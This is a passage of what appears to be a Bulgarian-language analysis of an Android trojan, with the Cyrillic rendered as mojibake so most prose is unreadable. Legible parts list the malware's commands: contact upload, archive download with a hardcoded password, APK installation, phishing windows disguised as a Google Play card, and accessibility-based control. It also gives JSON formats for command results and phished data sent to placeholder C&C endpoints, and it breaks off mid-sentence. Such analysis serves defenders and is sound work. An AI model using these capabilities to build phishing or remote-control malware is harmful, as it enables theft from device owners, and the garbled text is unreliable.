uploadPhoneNumbers | ΠΠ·ΠΏΡΠ°ΡΠ΅ΡΠ΅ ΡΠ΅Π»Π΅ΡΠΎΠ½Π½ΠΈ Π½ΠΎΠΌΠ΅ΡΠ° ΠΎΡ Π²Π°ΡΠΈΡ ΡΠΏΠΈΡΡΠΊ Ρ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈ ΠΊΡΠΌ ΡΡΡΠ²ΡΡΠ°. ΠΠΊΠΎ ΠΊΠ°ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ ΡΠ΅ ΠΏΠΎΠ»ΡΡΠΈ ΡΡΠΎΠΉΠ½ΠΎΡΡ Π½Π° JSON ΠΎΠ±Π΅ΠΊΡ Ρ ΠΊΠ»ΡΡ βabβ, ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΏΠΎΠ»ΡΡΠ°Π²Π° ΡΠΏΠΈΡΡΠΊ Ρ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈ ΠΎΡ ΡΠ΅Π»Π΅ΡΠΎΠ½Π½ΠΈΡ ΡΠΊΠ°Π·Π°ΡΠ΅Π». ΠΠΊΠΎ ΡΠ΅ ΠΏΠΎΠ»ΡΡΠΈ JSON ΠΎΠ±Π΅ΠΊΡ Ρ ΠΊΠ»ΡΡ βsmsβ ΠΊΠ°ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ, ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΏΡΠΎΡΠΈΡΠ° ΡΠΏΠΈΡΡΠΊΠ° Ρ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈ ΠΎΡ ΠΏΠΎΠ΄Π°ΡΠ΅Π»ΠΈΡΠ΅ Π½Π° SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ. |
changeArchive | ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΈΠ·ΡΠ΅Π³Π»Ρ ΡΠ°ΠΉΠ»Π° ΠΎΡ Π°Π΄ΡΠ΅ΡΠ°, ΠΊΠΎΠΉΡΠΎ ΠΈΠ΄Π²Π° ΠΊΠ°ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ ΠΊΠ»ΡΡΠ° βurlβ. ΠΠ·ΡΠ΅Π³Π»Π΅Π½ΠΈΡΡ ΡΠ°ΠΉΠ» ΡΠ΅ Π·Π°ΠΏΠ°Π·Π²Π° Ρ ΠΈΠΌΠ΅ΡΠΎ βarchive.zipβ. Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΠ΅ ΡΠ°Π·Π°ΡΡ ΠΈΠ²ΠΈΡΠ° ΡΠ°ΠΉΠ»Π°, ΠΊΠ°ΡΠΎ ΠΏΠΎ ΠΈΠ·Π±ΠΎΡ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΏΠ°ΡΠΎΠ»Π°ΡΠ° Π·Π° Π°ΡΡ ΠΈΠ² βb5jXh37gxgHBrZhQ4j3Dβ. Π Π°Π·Π°ΡΡ ΠΈΠ²ΠΈΡΠ°Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ ΡΠ΅ Π·Π°ΠΏΠΈΡΠ²Π°Ρ Π² Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° [Π²ΡΠ½ΡΠ½ΠΎ Ρ ΡΠ°Π½ΠΈΠ»ΠΈΡΠ΅]/hgps. Π ΡΠ°Π·ΠΈ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΡΡ ΡΠ°Π½ΡΠ²Π° ΡΠ΅Π± ΡΠ°Π»ΡΠΈΡΠΈΠΊΠ°ΡΠΈ (ΠΎΠΏΠΈΡΠ°Π½ΠΈ ΠΏΠΎ-Π΄ΠΎΠ»Ρ). |
ΠΌΠ΅ΡΠΊΠΈ | ΠΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½Π° Π΄Π° ΡΠ°Π±ΠΎΡΠΈ Ρ Action Service, ΠΊΠΎΡΡΠΎ Π΅ ΠΎΠΏΠΈΡΠ°Π½Π° Π² ΠΎΡΠ΄Π΅Π»Π΅Π½ ΡΠ°Π·Π΄Π΅Π». |
ΡΠ΅ΡΡ | ΠΠΈΡΠΎ Π½Π΅ ΠΏΡΠ°Π²Ρ. |
ΠΠ·ΡΠ΅Π³Π»ΠΈ | ΠΠΎΠΌΠ°Π½Π΄Π°ΡΠ° ΠΈΠΌΠ° Π·Π° ΡΠ΅Π» Π΄Π° ΠΈΠ·ΡΠ΅Π³Π»ΠΈ ΡΠ°ΠΉΠ» ΠΎΡ ΠΎΡΠ΄Π°Π»Π΅ΡΠ΅Π½ ΡΡΡΠ²ΡΡ ΠΈ Π΄Π° Π³ΠΎ Π·Π°ΠΏΠΈΡΠ΅ Π² Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° βΠΠ·ΡΠ΅Π³Π»ΡΠ½ΠΈΡβ. URL Π°Π΄ΡΠ΅ΡΡΡ ΠΈ ΠΈΠΌΠ΅ΡΠΎ Π½Π° ΡΠ°ΠΉΠ»Π° ΠΈΠ΄Π²Π°Ρ ΠΊΠ°ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ, ΠΏΠΎΠ»Π΅ΡΠ° Π² ΠΎΠ±Π΅ΠΊΡΠ° Π½Π° ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ JSON, ΡΡΠΎΡΠ²Π΅ΡΠ½ΠΎ: βurlβ ΠΈ βfileNameβ. |
ΠΏΡΠ΅ΠΌΠ°Ρ Π²Π°Π½Π΅ Π½Π° | ΠΡΠ΅ΠΌΠ°Ρ Π²Π° ΡΠ°ΠΉΠ» ΠΎΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° "ΠΠ·ΡΠ΅Π³Π»ΡΠ½ΠΈΡ". ΠΠΌΠ΅ΡΠΎ Π½Π° ΡΠ°ΠΉΠ»Π° ΠΈΠ΄Π²Π° Π² JSON ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ Ρ ΠΊΠ»ΡΡΠ° βfileNameβ. Π‘ΡΠ°Π½Π΄Π°ΡΡΠ½ΠΎΡΠΎ ΠΈΠΌΠ΅ Π½Π° ΡΠ°ΠΉΠ»Π° Π΅ βtmp.apkβ. |
Π½ΠΎΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ | ΠΠΎΠΊΠ°Π·Π²Π°Π½Π΅ Π½Π° ΠΈΠ·Π²Π΅ΡΡΠΈΠ΅ Ρ ΡΠ΅ΠΊΡΡΠΎΠ²Π΅ Π½Π° ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅ ΠΈ Π·Π°Π³Π»Π°Π²ΠΈΠ΅, ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈ ΠΎΡ ΡΡΡΠ²ΡΡΠ° Π·Π° ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅. |
Π€ΠΎΡΠΌΠ°Ρ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π½ΠΎΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
ΠΠ·Π²Π΅ΡΡΠΈΠ΅ΡΠΎ, Π³Π΅Π½Π΅ΡΠΈΡΠ°Π½ΠΎ ΠΎΡ ΡΠ°ΠΉΠ»Π°, ΠΊΠΎΠΉΡΠΎ ΡΠ΅ ΡΠ°Π·ΡΠ»Π΅Π΄Π²Π°, ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° ΠΈΠ΄Π΅Π½ΡΠΈΡΠ½ΠΎ Ρ ΠΈΠ·Π²Π΅ΡΡΠΈΡΡΠ°, Π³Π΅Π½Π΅ΡΠΈΡΠ°Π½ΠΈ ΠΎΡ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ, ΠΏΠΎΡΠΎΡΠ΅Π½ΠΎ Π² ΠΏΠΎΠ»Π΅ΡΠΎ Π°ΠΏ. ΠΠΊΠΎ ΡΡΠΎΠΉΠ½ΠΎΡΡΡΠ° Π½Π° ΠΏΠΎΠ»Π΅ΡΠΎ openApp β ΠΡΡΠ½ΠΎ, ΠΊΠΎΠ³Π°ΡΠΎ ΡΠ΅ ΠΎΡΠ²ΠΎΡΠΈ ΠΈΠ·Π²Π΅ΡΡΠΈΠ΅, ΡΠ΅ ΡΡΠ°ΡΡΠΈΡΠ° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ, ΠΏΠΎΡΠΎΡΠ΅Π½ΠΎ Π² ΠΏΠΎΠ»Π΅ΡΠΎ Π°ΠΏ. ΠΠΊΠΎ ΡΡΠΎΠΉΠ½ΠΎΡΡΡΠ° Π½Π° ΠΏΠΎΠ»Π΅ΡΠΎ openApp β ΠΠ΅Π²ΡΡΠ½ΠΎ, ΡΠΎΠ³Π°Π²Π°:
- ΠΡΠ²Π°ΡΡ ΡΠ΅ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³, ΡΠΈΠ΅ΡΠΎ ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ ΡΠ΅ ΠΈΠ·ΡΠ΅Π³Π»Ρ ΠΎΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° <%Π²ΡΠ½ΡΠ½ΠΎ Ρ ΡΠ°Π½ΠΈΠ»ΠΈΡΠ΅%>/hgps/<%filename%>
- ΠΡΠ²Π°ΡΡ ΡΠ΅ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³, ΡΠΈΠ΅ΡΠΎ ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ ΡΠ΅ ΠΈΠ·ΡΠ΅Π³Π»Ρ ΠΎΡ ΡΡΡΠ²ΡΡΠ° <%url%>?id=<%Bot id%>&app=<%ΠΠΌΠ΅ Π½Π° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ%>
- ΠΡΠ²Π°ΡΡ ΡΠ΅ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³, ΠΌΠ°ΡΠΊΠΈΡΠ°Π½ ΠΊΠ°ΡΠΎ Google Play Card, Ρ Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ Π·Π° Π²ΡΠ²Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ Π·Π° ΠΊΠ°ΡΡΠ°ΡΠ°.
ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΈΠ·ΠΏΡΠ°ΡΠ° ΡΠ΅Π·ΡΠ»ΡΠ°ΡΠ° ΠΎΡ Π²ΡΡΠΊΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π° Π΄ΠΎ <%CnC%>set_state.php ΠΊΠ°ΡΠΎ JSON ΠΎΠ±Π΅ΠΊΡ Π² ΡΠ»Π΅Π΄Π½ΠΈΡ ΡΠΎΡΠΌΠ°Ρ:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
ActionsService
Π‘ΠΏΠΈΡΡΠΊΡΡ Ρ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ, ΠΊΠΎΠΈΡΠΎ ΠΎΠ±ΡΠ°Π±ΠΎΡΠ²Π° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ Π²ΠΊΠ»ΡΡΠ²Π° Π΄Π΅ΠΉΡΡΠ²ΠΈΠ΅. ΠΠΎΠ³Π°ΡΠΎ ΡΠ΅ ΠΏΠΎΠ»ΡΡΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π°, ΠΌΠΎΠ΄ΡΠ»ΡΡ Π·Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΡΡΡΠ΅ΡΡΠ²ΡΠ²Π° Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ ΡΠ°Π·ΠΈ ΡΡΠ»ΡΠ³Π°, Π·Π° Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΠΈ ΡΠ°Π·ΡΠΈΡΠ΅Π½Π°ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π°. Π£ΡΠ»ΡΠ³Π°ΡΠ° ΠΏΡΠΈΠ΅ΠΌΠ° JSON ΠΎΠ±Π΅ΠΊΡ ΠΊΠ°ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ. Π£ΡΠ»ΡΠ³Π°ΡΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ:
1. PARAMS_ACTION β ΠΏΡΠΈ ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° ΡΠ°ΠΊΠ°Π²Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° ΡΡΠ»ΡΠ³Π°ΡΠ° ΠΏΡΡΠ²ΠΎ ΠΏΠΎΠ»ΡΡΠ°Π²Π° ΠΎΡ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡΠ° JSON ΡΡΠΎΠΉΠ½ΠΎΡΡΡΠ° Π½Π° ΠΊΠ»ΡΡΠ° Type, ΠΊΠΎΡΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΡΠ΄Π΅ ΠΊΠ°ΠΊΡΠΎ ΡΠ»Π΅Π΄Π²Π°:
- serviceInfo β ΠΏΠΎΠ΄ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° ΠΏΠΎΠ»ΡΡΠ°Π²Π° ΡΡΠΎΠΉΠ½ΠΎΡΡΡΠ° ΠΏΠΎ ΠΊΠ»ΡΡ ΠΎΡ JSON ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡΠ° includeNotImportant. ΠΠΊΠΎ ΡΠ»Π°Π³ΡΡ Π΅ True, ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ Π·Π°Π΄Π°Π²Π° ΡΠ»Π°Π³Π° FLAG_ISOLATED_PROCESS ΠΊΡΠΌ ΡΡΠ»ΡΠ³Π°, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠ° ΡΡΠ»ΡΠ³Π°ΡΠ° Π·Π° Π΄ΠΎΡΡΡΠΏΠ½ΠΎΡΡ. ΠΠΎ ΡΠΎΠ·ΠΈ Π½Π°ΡΠΈΠ½ ΡΡΠ»ΡΠ³Π°ΡΠ° ΡΠ΅ Π±ΡΠ΄Π΅ ΡΡΠ°ΡΡΠΈΡΠ°Π½Π° Π² ΠΎΡΠ΄Π΅Π»Π΅Π½ ΠΏΡΠΎΡΠ΅Ρ.
- ΠΊΠΎΡΠ΅Π½ β ΠΏΠΎΠ»ΡΡΠ°Π²Π°ΡΠ΅ ΠΈ ΠΈΠ·ΠΏΡΠ°ΡΠ°ΡΠ΅ Π΄ΠΎ ΡΡΡΠ²ΡΡΠ° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ Π·Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠ°, ΠΊΠΎΠΉΡΠΎ Π² ΠΌΠΎΠΌΠ΅Π½ΡΠ° Π΅ Π½Π° ΡΠΎΠΊΡΡ. ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΏΠΎΠ»ΡΡΠ°Π²Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ ΠΊΠ»Π°ΡΠ° AccessibilityNodeInfo.
- Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡ β ΠΏΠΎΠΈΡΠΊΠ°ΠΉΡΠ΅ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΡΠΊΠΈ ΠΏΡΠ°Π²Π°.
- Π·Π°Π±Π°Π²ΡΠ½Π΅ β ΡΠΏΠΈΡΠ°Π½Π΅ Π½Π° ActionsService Π·Π° Π±ΡΠΎΡ ΠΌΠΈΠ»ΠΈΡΠ΅ΠΊΡΠ½Π΄ΠΈ, ΠΏΠΎΡΠΎΡΠ΅Π½ΠΈ Π² ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡΠ° Π·Π° ΠΊΠ»ΡΡΠ° βΠ΄Π°Π½Π½ΠΈβ.
- ΠΏΡΠΎΠ·ΠΎΡΡΠΈ β ΠΈΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ Π½Π° ΡΠΏΠΈΡΡΠΊ Ρ ΠΏΡΠΎΠ·ΠΎΡΡΠΈ, Π²ΠΈΠ΄ΠΈΠΌΠΈ Π·Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ.
- ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°ΠΌ β ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°ΠΉΡΠ΅ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ Π½Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΎΡΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ. ΠΠΌΠ΅ΡΠΎ Π½Π° Π°ΡΡ ΠΈΠ²Π½ΠΈΡ ΠΏΠ°ΠΊΠ΅Ρ Π΅ Π² ΠΊΠ»ΡΡΠ° βfileNameβ. Π‘Π°ΠΌΠΈΡΡ Π°ΡΡ ΠΈΠ² ΡΠ΅ Π½Π°ΠΌΠΈΡΠ° Π² Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° Downloads.
- Π² ΡΠ²Π΅ΡΠΎΠ²Π΅Π½ ΠΌΠ°ΡΠ°Π± β ΠΏΠΎΠ΄ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½Π° Π·Π° Π½Π°Π²ΠΈΠ³Π°ΡΠΈΡ ΠΎΡ ΡΠ΅ΠΊΡΡΠΈΡ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ:
- Π² ΠΌΠ΅Π½ΡΡΠΎ ΠΡΡΠ·ΠΈ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ
- ΠΏΡΠ΅Π΄ΠΈ
- Π£ Π΄ΠΎΠΌΠ°
- ΠΊΡΠΌ ΠΈΠ·Π²Π΅ΡΡΠΈΡ
- ΠΊΡΠΌ ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠ° Π½Π° Π½Π°ΡΠΊΠΎΡΠΎ ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈΡΠ΅ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ
- ΡΡΠ°ΡΡΠΈΡΠ° - ΡΡΠ°ΡΡΠΈΡΠ°ΠΉΡΠ΅ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ. ΠΠΌΠ΅ΡΠΎ Π½Π° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΈΠ΄Π²Π° ΠΊΠ°ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ ΠΏΠΎ ΠΊΠ»ΡΡ Π΄Π°Π½Π½ΠΈ.
- Π·Π²ΡΡΠΈ β ΠΏΡΠΎΠΌΠ΅Π½Π΅ΡΠ΅ ΡΠ΅ΠΆΠΈΠΌΠ° Π½Π° Π·Π²ΡΠΊΠ° Π½Π° Π±Π΅Π·ΡΡΠΌΠ΅Π½.
- ΠΎΡΠΊΠ»ΡΡΠ²Π°Π½Π΅ β Π²ΠΊΠ»ΡΡΠ²Π° ΠΏΠΎΠ΄ΡΠ²Π΅ΡΠΊΠ°ΡΠ° Π½Π° Π΅ΠΊΡΠ°Π½Π° ΠΈ ΠΊΠ»Π°Π²ΠΈΠ°ΡΡΡΠ°ΡΠ° Π΄ΠΎ ΠΏΡΠ»Π½Π° ΡΡΠΊΠΎΡΡ. ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΈΠ·Π²ΡΡΡΠ²Π° ΡΠΎΠ²Π° Π΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° WakeLock, ΠΊΠ°ΡΠΎ ΠΏΠΎΡΠΎΡΠ²Π° Π½ΠΈΠ·Π° [ΠΡΠΈΠΊΠ΅Ρ Π½Π° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ]:INFO ΠΊΠ°ΡΠΎ ΡΠ°Π³
- permissionOverlay β ΡΡΠ½ΠΊΡΠΈΡΡΠ° Π½Π΅ Π΅ ΡΠ΅Π°Π»ΠΈΠ·ΠΈΡΠ°Π½Π° (ΠΎΡΠ³ΠΎΠ²ΠΎΡΡΡ Π·Π° ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° Π΅ {"message":"Not support"} ΠΈΠ»ΠΈ {"message":"low sdk"})
- ΠΆΠ΅ΡΡ β ΡΡΠ½ΠΊΡΠΈΡΡΠ° Π½Π΅ Π΅ ΡΠ΅Π°Π»ΠΈΠ·ΠΈΡΠ°Π½Π° (ΠΎΡΠ³ΠΎΠ²ΠΎΡΡΡ Π·Π° ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ {"message":"Not support"} ΠΈΠ»ΠΈ {"message":"Low API"})
- ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΡ β ΡΠ°Π·ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π° Π΅ Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΠ° Π·Π° ΠΈΡΠΊΠ°Π½Π΅ Π½Π° ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΡ Π·Π° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ. Π€ΡΠ½ΠΊΡΠΈΡΡΠ° Π·Π° Π·Π°ΡΠ²ΠΊΠ° ΠΎΠ±Π°ΡΠ΅ Π½Π΅ Π΅ ΡΠ΅Π°Π»ΠΈΠ·ΠΈΡΠ°Π½Π°, ΡΠ°ΠΊΠ° ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ Π±Π΅Π·ΡΠΌΠΈΡΠ»Π΅Π½Π°. Π‘ΠΏΠΈΡΡΠΊΡΡ Ρ ΠΈΡΠΊΠ°Π½ΠΈΡΠ΅ ΠΏΡΠ°Π²Π° ΠΈΠ΄Π²Π° ΠΊΠ°ΡΠΎ JSON ΠΌΠ°ΡΠΈΠ² Ρ ΠΊΠ»ΡΡΠ° βpermissionsβ. Π‘ΡΠ°Π½Π΄Π°ΡΡΠ΅Π½ ΡΠΏΠΈΡΡΠΊ:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- ΠΎΡΠ²ΠΎΡΠ΅Π½ β ΠΏΠΎΠΊΠ°Π·Π²Π°Π½Π΅ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³. Π Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ ΠΎΡ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡΠ°, ΠΈΠ΄Π²Π°Ρ ΠΎΡ ΡΡΡΠ²ΡΡΠ°, ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΠΎΠΊΠ°ΠΆΠ΅ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΡΠΈΡΠΈΠ½Π³ ΠΏΡΠΎΠ·ΠΎΡΡΠΈ:
- ΠΠΎΠΊΠ°Π·Π²Π°Π½Π΅ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³, ΡΠΈΠ΅ΡΠΎ ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ Π΅ Π·Π°ΠΏΠΈΡΠ°Π½ΠΎ Π²ΡΠ² ΡΠ°ΠΉΠ» Π² Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ <%Π²ΡΠ½ΡΠ½Π° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ%>/hgps/<%param_filename%>. Π Π΅Π·ΡΠ»ΡΠ°ΡΡΡ ΠΎΡ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ΡΠΎ Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ Ρ ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠ° ΡΠ΅ Π±ΡΠ΄Π΅ ΠΈΠ·ΠΏΡΠ°ΡΠ΅Π½ Π΄ΠΎ <%CnC%>/records.php
- ΠΠΎΠΊΠ°Π·Π²Π°Π½Π΅ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³, ΡΠΈΠ΅ΡΠΎ ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ Π΅ ΠΏΡΠ΅Π΄Π²Π°ΡΠΈΡΠ΅Π»Π½ΠΎ Π·Π°ΡΠ΅Π΄Π΅Π½ΠΎ ΠΎΡ Π°Π΄ΡΠ΅ΡΠ° <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Π Π΅Π·ΡΠ»ΡΠ°ΡΡΡ ΠΎΡ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ΡΠΎ Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ Ρ ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠ° ΡΠ΅ Π±ΡΠ΄Π΅ ΠΈΠ·ΠΏΡΠ°ΡΠ΅Π½ Π΄ΠΎ <%CnC%>/records.php
- ΠΠΎΠΊΠ°ΠΆΠ΅ΡΠ΅ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³, ΠΌΠ°ΡΠΊΠΈΡΠ°Π½ ΠΊΠ°ΡΠΎ Google Play Card.
- ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΠ²Π΅Π½ β ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ ΠΏΡΠΎΠ΅ΠΊΡΠΈΡΠ°Π½Π° Π΄Π° Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²Π° Ρ Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π½Π° Π΄ΡΡΠ³ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠΈ AcessibilityService. Π ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ°ΡΠ° Π΅ Π²Π½Π΅Π΄ΡΠ΅Π½Π° ΡΠΏΠ΅ΡΠΈΠ°Π»Π½Π° ΡΡΠ»ΡΠ³Π° Π·Π° Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅. Π Π°Π·ΡΠ»Π΅Π΄Π²Π°Π½ΠΎΡΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅ Π΄Π° 